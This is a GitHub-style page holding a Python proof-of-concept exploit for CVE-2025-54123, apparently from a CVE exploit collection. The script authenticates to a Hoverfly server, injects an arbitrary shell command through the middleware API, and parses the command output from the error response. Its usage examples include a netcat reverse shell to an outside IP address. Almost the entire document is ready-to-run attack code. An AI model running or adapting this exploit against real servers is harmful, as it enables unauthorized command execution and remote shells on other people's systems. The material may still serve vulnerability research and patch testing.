5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-54123.py PY
#!/usr/bin/env python3
"""
CVE-2025-54123 Professional Exploit
====================================
Hoverfly Authenticated RCE via Middleware Command Injection (CVSS 9.8 | CWE-78)

Affected: Hoverfly <= 1.11.3
Author: kasemsh
"""

import argparse
import base64
import json
import sys
import urllib.error
import urllib.request
from typing import Tuple, Optional


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'


class HoverflyExploit:
    TIMEOUT = 10

    def __init__(self, target: str, username: str, password: str, command: str, shell: str = "/bin/bash"):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.command = command
        self.shell = shell
        self.token = None
        self.api_endpoint = f"{self.target}/api/v2/hoverfly/middleware"

    def authenticate(self) -> bool:
        """Authenticate and get JWT token"""
        auth_endpoint = f"{self.target}/api/token-auth"
        
        credentials = {
            "username": self.username,
            "password": self.password
        }
        
        body = json.dumps(credentials).encode('utf-8')
        
        req = urllib.request.Request(
            url=auth_endpoint,
            data=body,
            method="POST",
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json",
            },
        )

        try:
            with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
                response = resp.read().decode("utf-8")
                data = json.loads(response)
                self.token = data.get("token")
                return self.token is not None
        except urllib.error.HTTPError as exc:
            if exc.code == 401:
                return False
            raise
        except Exception:
            return False

    def build_payload(self) -> dict:
        """Construct malicious middleware payload"""
        return {
            "binary": self.shell,
            "script": self.command
        }

    def send_exploit(self) -> Tuple[str, int]:
        """Send malicious middleware configuration"""
        payload = self.build_payload()
        body = json.dumps(payload).encode('utf-8')

        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        }

        # Add token if available
        if self.token:
            headers["Authorization"] = f"Bearer {self.token}"

        req = urllib.request.Request(
            url=self.api_endpoint,
            data=body,
            method="PUT",
            headers=headers,
        )

        try:
            with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
                return resp.read().decode("utf-8", errors="replace"), resp.status
        except urllib.error.HTTPError as exc:
            return exc.read().decode("utf-8", errors="replace"), exc.code
        except Exception as e:
            raise e

    def extract_output(self, response: str) -> Optional[str]:
        """Extract command output from error response"""
        try:
            data = json.loads(response)
            error_msg = data.get("error", "")
            
            # Extract STDOUT section - it appears after "STDOUT:\n"
            if "STDOUT:" in error_msg:
                # Split on STDOUT: and take everything after
                stdout_parts = error_msg.split("STDOUT:\n")
                if len(stdout_parts) > 1:
                    # Take the content after STDOUT: and before the closing quote/brace
                    output = stdout_parts[1]
                    # Clean up the trailing JSON artifacts
                    if '"}' in output:
                        output = output.split('"}')[0]
                    elif '"' in output:
                        output = output.split('"')[0]
                    return output.strip()
            return None
        except json.JSONDecodeError:
            # Response might not be JSON, try to extract STDOUT directly
            if "STDOUT:" in response:
                parts = response.split("STDOUT:\n")
                if len(parts) > 1:
                    output = parts[1].split('"}')[0] if '"}' in parts[1] else parts[1].split('"')[0]
                    return output.strip()
            return None
        except Exception:
            return None

    def exploit(self):
        """Execute RCE exploit"""
        print(f"{Colors.CYAN}{Colors.BOLD}")
        print("=" * 70)
        print("  CVE-2025-54123 | Hoverfly Authenticated Middleware RCE")
        print("  CVSS 9.8 CRITICAL | CWE-78 (Command Injection)")
        print("=" * 70)
        print(f"{Colors.END}")

        print(f"{Colors.BOLD}[CONFIG]{Colors.END}")
        print(f"  Target:   {Colors.YELLOW}{self.target}{Colors.END}")
        print(f"  Username: {Colors.YELLOW}{self.username}{Colors.END}")
        print(f"  Password: {Colors.YELLOW}{'*' * len(self.password)}{Colors.END}")
        print(f"  Shell:    {Colors.YELLOW}{self.shell}{Colors.END}")
        print(f"  Command:  {Colors.YELLOW}{self.command}{Colors.END}")
        print()

        # Authenticate first
        print(f"{Colors.BOLD}[*]{Colors.END} Authenticating to {self.target}...")
        try:
            if not self.authenticate():
                print(f"{Colors.RED}[!] Authentication failed - invalid credentials{Colors.END}")
                sys.exit(1)
            print(f"{Colors.GREEN}[+]{Colors.END} Authentication successful")
            print(f"{Colors.CYAN}    Token: {self.token[:50]}...{Colors.END}")
            print()
        except Exception as e:
            print(f"{Colors.RED}[!] Authentication error: {e}{Colors.END}")
            sys.exit(1)

        print(f"{Colors.BOLD}[PAYLOAD]{Colors.END}")
        payload_preview = json.dumps(self.build_payload(), indent=2)
        print(f"{Colors.BLUE}{payload_preview}{Colors.END}")
        print()

        print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit to {self.api_endpoint}...")
        try:
            response, status = self.send_exploit()
        except urllib.error.URLError as e:
            print(f"{Colors.RED}[!] Connection failed: {e}{Colors.END}")
            sys.exit(1)
        except Exception as e:
            print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}")
            sys.exit(1)

        print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}")
        print()

        # Show raw response snippet for debugging
        print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}")
        print(f"{Colors.BLUE}{response[:800]}{Colors.END}")
        print()

        output = self.extract_output(response)

        if output:
            print(f"{Colors.BOLD}{Colors.GREEN}[COMMAND OUTPUT]{Colors.END}")
            print("=" * 70)
            print(output)
            print("=" * 70)
            print()
            print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}")
            print(f"{Colors.CYAN}Command executed on target system.{Colors.END}")
        else:
            print(f"{Colors.YELLOW}[!] Command executed but could not parse output{Colors.END}")
            print(f"\n{Colors.BOLD}[FULL RAW RESPONSE]{Colors.END}")
            print("=" * 70)
            print(response)
            print("=" * 70)


def main():
    banner = f"""{Colors.BOLD}{Colors.RED}
 ██╗  ██╗ ██████╗ ██╗   ██╗███████╗██████╗ ███████╗██╗  ██╗   ██╗    ██████╗  ██████╗███████╗
 ██║  ██║██╔═══██╗██║   ██║██╔════╝██╔══██╗██╔════╝██║  ╚██╗ ██╔╝    ██╔══██╗██╔════╝██╔════╝
 ███████║██║   ██║██║   ██║█████╗  ██████╔╝█████╗  ██║   ╚████╔╝     ██████╔╝██║     █████╗  
 ██╔══██║██║   ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗██╔══╝  ██║    ╚██╔╝      ██╔══██╗██║     ██╔══╝  
 ██║  ██║╚██████╔╝ ╚████╔╝ ███████╗██║  ██║██║     ███████╗██║       ██║  ██║╚██████╗███████╗
 ╚═╝  ╚═╝ ╚═════╝   ╚═══╝  ╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝       ╚═╝  ╚═╝ ╚═════╝╚══════╝
                CVE-2025-54123 | Authenticated Middleware Command Injection
{Colors.END}"""
    print(banner)

    parser = argparse.ArgumentParser(
        description="CVE-2025-54123 Hoverfly Authenticated RCE Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"""{Colors.BOLD}Examples:{Colors.END}
  python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
  python3 exploit.py -t http://target:8888 -u user -p secret -c "id" --shell /bin/sh
  python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "nc -e /bin/bash 10.10.14.5 4444"
        """,
    )
    parser.add_argument("-t", "--target", required=True, help="Hoverfly API endpoint (e.g., http://localhost:8888)")
    parser.add_argument("-u", "--username", required=True, help="Hoverfly admin username")
    parser.add_argument("-p", "--password", required=True, help="Hoverfly admin password")
    parser.add_argument("-c", "--command", required=True, help="Command to execute on target")
    parser.add_argument("--shell", default="/bin/bash", help="Shell binary to use (default: /bin/bash)")

    args = parser.parse_args()

    exploit = HoverflyExploit(
        target=args.target,
        username=args.username,
        password=args.password,
        command=args.command,
        shell=args.shell
    )
    exploit.exploit()


if __name__ == "__main__":
    main()